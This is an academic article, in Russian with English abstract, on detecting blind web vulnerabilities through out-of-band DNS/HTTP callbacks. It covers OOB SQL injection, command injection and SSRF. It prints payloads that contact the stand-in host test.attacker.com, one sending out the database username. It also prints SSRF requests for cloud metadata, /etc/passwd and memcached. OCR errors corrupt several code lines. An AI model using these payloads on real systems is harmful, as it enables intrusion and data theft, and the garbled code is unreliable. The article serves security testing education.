44УДК 004.052.42:004.056.53
Кумуржи Георгий Максимович Kumurzhi Georgy Maksimovich
Студент Student
Российский технологический университет - МИРЭА MIREA - Russian Technological University
ОБНАРУЖЕНИЕ КРИТИЧЕСКИХ УЯЗВИМОСТЕЙ ВЕБ-ПРИЛОЖЕНИЙ С ПОМОЩЬЮ ИСПОЛЬЗОВАНИЯ ВНЕПОЛОСНЫХ ДАННЫХ
DETECTION OF CRITICAL VULNERABILITIES OF WEB APPLICATIONS USING OUT-OF-BAND DATA
Аннотация. В статье рассмотрены техники (способы) обнаружения и эксплуатации критических уязвимостей веб-приложений на основе использования внеполосных данных (Out-of-band data). Проведён анализ тестирования безопасности веб-приложений классическим методом «черного ящика». Описаны варианты нахождения не обнаруживаемых классическим методом «черного ящика» уязвимостей.
Abstract: The article discusses techniques (methods) for detecting and exploiting critical vulnerabilities in web applications based on the use of out-of-band data. The analysis of web application security testing by the classical "black box" method is made. The options for finding vulnerabilities not detected by the classical "black box" method are described.
Ключевые слова. безопасность веб-приложений, внеполосные данные, тестирование методом «черного ящика».
Key words: web application security, out-of-band data, black-box testing.
Введение
Метод тестирования безопасности веб-приложений с помощью использования внеполосных данных является новаторским и позволяет находить уязвимости веб-приложений, не обнаруживаемые
классическим методом «черного ящика» [1]. К уязвимостям, не обнаруживаемым классическим методом «черного ящика», относятся такие недостатки безопасности веб-приложений, которые не могут быть выявлены с помощью традиционного HTTP-запрос/ответ взаимодействия исследователя безопасности с тестируемым веб-приложением [2]:
- отложенный межсайтовый скриптинг (delayed XSS);
- внедрение HTTP-заголовка Host (Host header attack);
- внеполосное удаленное выполнение кода (OOB RCE);
- внеполосное внедрение SQL-кода (OOB SQLi);
- внедрение заголовков электронной почты (Email header injection);
- подделка запросов со стороны сервера (SSRF);
- внедрение внешней сущности XML (XXE).
Поскольку многие из вышеперечисленных уязвимостей являются критически опасными, то обнаружение и исправление таких недостатков безопасности веб-приложений является важной задачей любой организации во избежание полной компрометации их публичного веб-сервиса и развития злоумышленниками дальнейшей атаки на инфраструктуру компании [3].
В данной статье будут рассмотрены три типа уязвимостей веб-приложений, которые имеется возможность обнаружить с помощью использования внеполосных данных: внеполосное внедрение SQL-кода (OOB SQLi), внеполосное удаленное выполнение кода (OOB RCE) и подделка запросов со стороны сервера (SSRF) - как одни из самых опасных и наиболее распространенных уязвимостей веб-приложений в 2021 году согласно списку OWASP Топ-10, выпущенным сообществом OWASP [4].
Внеполосное внедрение SQL-кода (OOB SQLi)
Внедрение SQL-кода возможно в тех случаях, когда SQL-запросы, выполняемые в СУБД, содержат в себе данные, вводимые пользователями, без предварительной обработки: не используются связываемые переменные (Prepared statements), хранимые процедуры, проверка "Белым списком" или экранирование всех введенных пользователем данных [5]. Пример уязвимого SQL-запроса, который будет выполнен в СУБД Microsoft SQL Server представлен на рисунке 1.
SELECT * F ROM products HHERE id={userlriput} Рисунок 1. Уязвимый к внедрению SQL-кода запрос
Значение параметра id устанавливается из содержимого URI, по которому обратился пользователь веб-приложения (рис. 2).
https://example.com/products.aspx?id=l
Рисунок 2. URI, с помощью которого задается значение параметра
id
При обращении пользователя к уязвимому веб-приложению по такому URI в СУБД Microsoft SQL Server будет создан и выполнен SQL-запрос, представленный на рисунке 3.
SELECT * FROM products WHERE id=l
Рисунок 3. Сформированный SQL-запрос, содержащий пользовательский ввод
Такой запрос является уязвимым к внедрению SQL-кода [6]. Стоит отметить, что в случае, если содержимое HTTP-ответов
тестируемого веб-приложения, остается неизменным, независимо от данных, которые вводит пользователь (даже если такие данные привели к возникновению ошибок СУБД), единственный способ обнаружить такую уязвимость, при тестировании безопасности веб-приложений классическим методом «черного ящика», - это попытаться вызвать задержку HTTP-ответов веб-приложения [7]. Такой метод тестирования безопасности веб-приложения, основанный на измерении времени его HTTP-ответов, может давать ложноположительные результаты, в случае если HTTP-ответы веб-приложения по умолчанию будут не очень стабильны.
Однако существует другой способ обнаружения такой уязвимости - использование внеполосных данных [8]. Например, исследователь безопасности может сформировать следующий URI, представленный на рисунке 4.
https://example.сот/products. aspx?id=l;
EXEC%20master..xp_dirtree%20"%5c%5ctest.attacker.com%5c'+--+
Рисунок 4. Сформированный исследователем безопасности URI
На рисунке 5 представлена сформированная полезная нагрузка при ее URL-декодировании.
https://example.сот/products.aspx?id=l; ЕХЕС master..xp_dirtree 1\\test.attacker.comV -Рисунок 5. URL-декодированный URI, сформированный исследователем безопасности
Обращение исследователя безопасности по сформированному URI создаст с последующим выполнением в СУБД Microsoft SQL Server SQL-запрос, представленный на рисунке 6.
SELECT * FROM products WHERE id=l;
EXEC master..xp_dirtree 1Wtest.attacker.comV -Рисунок 6. SQL-запрос, сформированный в СУБД при обращении
по URI
В итоге, СУБД Microsoft SQL Server будет выполнено два отдельных SQL-запроса, содержимое которых представлено на рисунке 7.
SELECT^* FROM products WHERE id=l
EXEC master..xp_dirtree 1\\test.attacker.com\1 -Рисунок 7. Два отдельных SQL-запроса, которые были сформированы в СУБД при обращении по одному URI
При выполнении второго SQL-запроса СУБД Microsoft SQL Server будет вызвана хранимая процедура xp_dirtree, которая предназначена для получения списка всех каталогов для директории, указанной в качестве ее параметра. Для выполнения процесса получения списка всех директорий из ресурса \\testattacker.com\ СУБД Microsoft SQL Server будет сделан DNS-запрос для разрешения ^4-адреса для доменного имени test.attacker.com.
Исследователь безопасности настроив свой публично доступный DNS-сервер, отвечающий за домен attacker.com (включая все его поддомены), сможет отслеживать журналы подконтрольного сервера в поисках DNS-запросов, касающихся домена test.attacker.com (рис. 8).
Рисунок 8. Общий принцип обнаружения внеполосного внедрения
SQL-кода
Приведенный выше пример относится конкретно к СУБД Microsoft SQL Server, однако вариант этой атаки также может быть применен для СУБД Oracle. На рисунке 9 представлен запрос, вызывающий внеполосное соединение, СУБД Oracle.
SELECT * FROM products WHERE id=l || UTL_HTTP.request(1http://test.attacker.corn/1)
Рисунок 9. SQL-запрос для СУБД Oracle, вызывающий внеполосное соединение с внешним веб-ресурсом (test.attacker.com)
Использование встроенного пакета Oracle UTL_HTTP позволяет получать доступ к данным в Интернете через протокол передачи гипертекста (HTTP), путем загрузки веб-страниц в СУБД [9]. Такое поведение СУБД Oracle позволяет использовать пакет UTL_HTTP для извлечения данных из тестируемого веб-приложения (рис. 10).
SELECT * FROM products WHERE id=l || UTL_HTTP.request(1 http://test.attacker.com/1 | |
Рисунок 10. SQL-запрос, позволяющий использовать в качестве URN при обращении к внешнему веб-ресурсу значение поля
таблицы БД
Такой SQL-запрос инициирует отправку на домен test.attacker.com HTTP-запроса, содержащего имя пользователя СУБД Oracle в URN, запрашиваемого ресурса (например, http://test.attacker.com/admin_Vasily). Соответственно, владелец домена (ресурса) test.attacker.com может извлечь эти данные путем просмотра журналов своего веб-сервера и определить имя пользователя СУБД Oracle.
Внеполосное удаленное выполнение кода (OOB RCE)
Подобно выявлению уязвимости внеполосного внедрения SQL-кода (OOB SQLi) с помощью использования внеполосных данных имеется возможность обнаруживать уязвимости внеполосного удаленного выполнения кода (RCE).
На рисунке 11 представлен код уязвимого приложения, написанного на языке программирования PHP.
$cmd = isset($_GET[ '1' ] ) ? $_GET[ Ч" ] :
Рисунок 11. PHP-скрипт, уязвимый к внеполосному удаленному
выполнению кода
Такое приложение выполняет внешнюю программу (в командной оболочке сервера), в качестве аргументов которой передается пользовательский ввод без какой-либо предварительной обработки, стоит отметить, что результат выполнения команды пользователю возвращен не будет [10]. Исследователь безопасности может сформировать следующую полезную нагрузку, представленную на рисунке 12, для обнаружения недостатков безопасности тестируемого приложения:
test.php?l=localhost%26nslookup+test.attacker.come%26 Рисунок 12. Сформированный исследователем безопасности URI
На рисунке 13 представлена команда ОС, получаемая при URL-декодировании сформированной полезной нагрузки.
ping -с 1 localhost&nslookup test.attacker.com&
Рисунок 13. Выполнение второй команды приведет к возникновению внеполосного соединения с внешним веб-ресурсом (test.attacker.com)
Выполнение такой команды заставит уязвимый сервер инициировать поиск IPv4-адреса в DNS-системе (осуществить DNS-запрос) для домена test.attacker.com.
Исследователь безопасности может отслеживать журналы подконтрольного ему DNS-сервера, ответственного за обслуживание домена test.attacker.com, чтобы обнаружить уязвимости удаленного выполнения кода с помощью использования внеполосных данных (рис. 14).
Рисунок 14. Общий принцип обнаружения внеполосного удаленного выполнения кода
Подделка запросов со стороны сервера (SSRF)
Подделка запросов со стороны сервера (SSRF) возникает, когда внешний пользователь полностью или частично контролирует запрос, отправляемый уязвимым веб-приложением. Определяя URL-адрес сторонней службы, которой веб-приложение отправляет запрос, зачастую у злоумышленников имеется возможность добираться посредством HTTP-запросов до инфраструктуры компании, расположенной за файрволлами, VPN и другими типами списков управления доступом (ACL) [11].
На рисунке 15 приведен пример уязвимого для подделки запросов со стороны сервера (SSRF) кода, написанного на языке программирования PHP.
<?php
* Проверить задан ли параметр 'url1 в GET-запросе
* Например - http://localhost/?url=
* http://testphp.vulnweb.com/images/logo.gif
V
if (isset($_6ET[Jurr])){ $url = $_GIET[ ' url ' ] ;
* Отправить уязвимый к SSRF запрос так как
* к параметру $url не применяется никакой валидации
* данных перед отправкой запроса
V
$image = fopen($url, 'rb');
/XX
* Отправить корректные заголовки HTTP-ответа
V
header("Content-Type: image/png");
* Вывести все оставшиеся данные из $image
V
fpassthru($image);}
Рисунок 15. PHP-скрипт, уязвимый к подделке запросов со
стороны сервера
В данном случае пользователь полностью контролирует передаваемый серверу параметр шг1, посредством чего у него имеется возможность выполнять GET-запросы со стороны сервера на произвольные веб-ресурсы, в том числе на специальный сетевой интерфейс «внутренней петли» (localhost).
Исследователь безопасности может отслеживать журналы подконтрольного ему DNS/HTTP-сервера, ответственного за обслуживание ресурса test.attacker.com, чтобы обнаружить уязвимости подделки запросов со стороны сервера с помощью использования внеполосных данных (рис. 16).
Внутренний
Рисунок 16. Общий принцип обнаружения подделки запросов со
стороны сервера
На рисунке 17 приведен GET-запрос к Apache HTTP-серверу с включенным модулем mod_status, который генерирует специальную страницу с подробной информацией об веб-сервере: системные ресурсы, текущие запросы и скорость их обработки [12].
GET /?url=http://localhost/server-status НТТР/1.1
Рисунок 17. GET-запрос, в результате которого уязвимым вебсервером будет возвращена подробная информация о нем
Эксплуатируя уязвимость SSRF, появляется возможность выполнения запросов со стороны сервера к внутренним ресурсам, не являющихся публично доступными, например, к метаданным экземпляров облачных сервисов, таким как OpenStack и AWS / Amazon EC2 [13] (рис. 18):
GET /?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1 Host: example.com
Рисунок 18. GET-запрос, в результате которого уязвимым вебсервером будет возвращена информация о метаданных AWS /
Amazon EC2
Помимо схем URL-адресов http:// и https://, исследователь безопасности может воспользоваться преимуществами менее известных или устаревших схем URL-адресов для доступа к файлам, расположенным на самом уязвимом сервере или во внутренней сети (рис. 19).
GET /?url=file:///etc/passwd HTTP/1.1 Рисунок 19. В GET-запросе используется схема URL-адреса file:///
Некоторые веб-приложения позволяют пользователям использовать более экзотические схемы URL-адресов [14]. Например, если приложение использует кроссплатформенную служебную программу командной строки cURL для выполнения запросов, исследователь безопасности может использовать схему URL-адреса dict:// для выполнения запросов к веб-ресурсу на любом порту и отправки произвольных данных [15] (рис. 20).
GET /?url=dict://localhost:11211/stat HTTP/1.1 Рисунок 20. В GET-запросе используется схема URL-адреса dict://
Такой запрос заставит веб-приложение подключиться к localhost через порт 11211 и отправить строку stat. Порт 11211 - это порт по
умолчанию, используемый ПО Memcached, который обычно не открыт для внешних соединений (из Интернета).
Также стоит обратить внимание, что зачастую эксплуатация SSRF позволяет выполнить удаленное выполнение кода (RCE) [16].
Заключение
Рассмотренные в данной статье уязвимости веб-приложений являются критическими, их успешная эксплуатация злоумышленниками может привести к серьезным нарушениям безопасности компании, владеющей уязвимым веб-ресурсом: каждая из рассмотренных уязвимостей позволяет получить доступ к внутренним ресурсам компании с возможностью дальнейшего развития атаки на ее инфраструктуру [17].
Чтобы решить проблему нахождения не обнаруживаемых классическим методом «черного ящика» критических уязвимостей, следует использовать внешний публично доступный сервер, поддерживающий работу протоколов DNS и HTTP(S), для получения им запросов от тестируемого веб-приложения. Такие запросы должны журналироваться и предоставляться исследователю безопасности для проведения им более тщательного анализа, подтверждающего факт наличия определенной критической уязвимости в тестируемом веб-приложении.
Библиографический список:
1. Out-of-band application security testing (OAST) [Электронный ресурс]. - Режим доступа: https://portswigger.net/burp/appHcation-security-testing/oast (дата обращения: 12.10.2021).
2. Out-of-Band vulnerabilities: What are they and how can be prevented [Электронный ресурс]. - Режим доступа: https://www.gb-
advisors.com/out-of-band-vulnerabilities-what-are-they-and-how-can-be-prevented/ (дата обращения: 12.10.2021).
3. Отчет компании Positive Technologies «Взлом на заказ» [Электронный ресурс]. - Режим доступа: https://www.ptsecurity.com/ru-ru/research/analytics/cybersecurity-threatscape-2020-q3/ (дата обращения: 13.10.2021).
4. OWASP Top 10: 2021 [Электронный ресурс]. - Режим доступа: https://owasp.org/Top10/ (дата обращения: 14.10.2021).
5. SQL Injection Prevention Cheat Sheet [Электронный ресурс]. -Режим доступа: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_ Cheat_Sheet.html (дата обращения: 14.10.2021).
6. SQL Injection [Электронный ресурс]. - Режим доступа: https: //owasp .org/www-community/attacks/SQL_Inj ection (дата обращения: 21.10.2021).
7. Blind SQL injection [Электронный ресурс]. - Режим доступа: https: //owasp .org/www-community/attacks/Blind_SQL_Inj ection (дата обращения: 21.10.2021).
8. Exploiting blind SQL injection using out-of-band (OAST) techniques [Электронный ресурс]. - Режим доступа: https://portswigger.net/web-security/sql-injection/blind (дата обращения: 21.10.2021).
9. UTL_HTTP [Электронный ресурс]. - Режим доступа: http s: //docs .oracl e.com/database/121 /ARPL S/u_http. htm (дата обращения: 21.10.2021).
10. PHP: exec - Manual [Электронный ресурс]. - Режим доступа: https://www.php.net/manual/ru/function.exec.php (дата обращения: 21.10.2021).
11. A10:2021 - Server-Side Request Forgery (SSRF) [Электронный ресурс]. - Режим доступа: https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/ (дата обращения: 27.10.2021).
12. mod_status - Apache HTTP Server Version 2.4 [Электронный ресурс]. - Режим доступа: https://httpd.apache.org/docs/2.4/mod/mod_status.html (дата обращения: 27.10.2021).
13. Instance metadata and user data [Электронный ресурс]. -Режим доступа: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html (дата обращения: 27.10.2021).
14. Uniform Resource Identifier (URI) Schemes [Электронный ресурс]. - Режим доступа: https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml (дата обращения: 27.10.2021).
15. A Dictionary Server Protocol [Электронный ресурс]. - Режим доступа: https://datatracker.ietf.org/doc/html/rfc2229 (дата обращения: 13.11.2021).
16. What Is Privilege Escalation and How It Relates to Web Security [Электронный ресурс]. - Режим доступа: https://www.acunetix.com/blog/web-security-zone/what-is-privilege-escalation/ (дата обращения: 13.11.2021).
17. Information on the Capital One Cyber Incident [Электронный ресурс]. - Режим доступа: https://www.capitalone.com/digital/facts2019/ (дата обращения: 14.11.2021).
